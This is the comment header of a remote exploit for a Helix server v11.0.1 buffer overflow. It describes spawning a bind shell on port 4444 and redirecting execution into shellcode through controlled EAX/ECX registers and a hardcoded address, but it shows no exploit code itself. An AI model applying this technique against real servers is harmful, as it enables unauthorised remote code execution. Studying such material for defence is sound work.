# Remote exploit for the vulnerability in Helix server v11.0.1 as described
# at http://gleg.net/helix.txt
#
# The exploit spawns a shell on TCP port 4444 and connects to it. At the time of
# overflow we control EAX which is used in a call as follows
# 00420C64: call dword ptr [eax + 4]
# ECX points into our buffer at the time of overflow. So if we can craft a DWORD
# that points to an address that translates to call dword ptr [ecx + xx] and
# have a pointer into our shellcode at that location then our shellcode executes
# Yes, a lot of indirection here :-). This exploit uses hardcoded address which
# worked fine on Windows 2000 server SP4 machines I have in my test lab. You may
# have to tweak it for your environment.
# Credits for discovery and POC goes to Evgeny Legerov
# Author shall bear no reponsibility for any screw ups caused by using this code
# Winny Thomas :-)
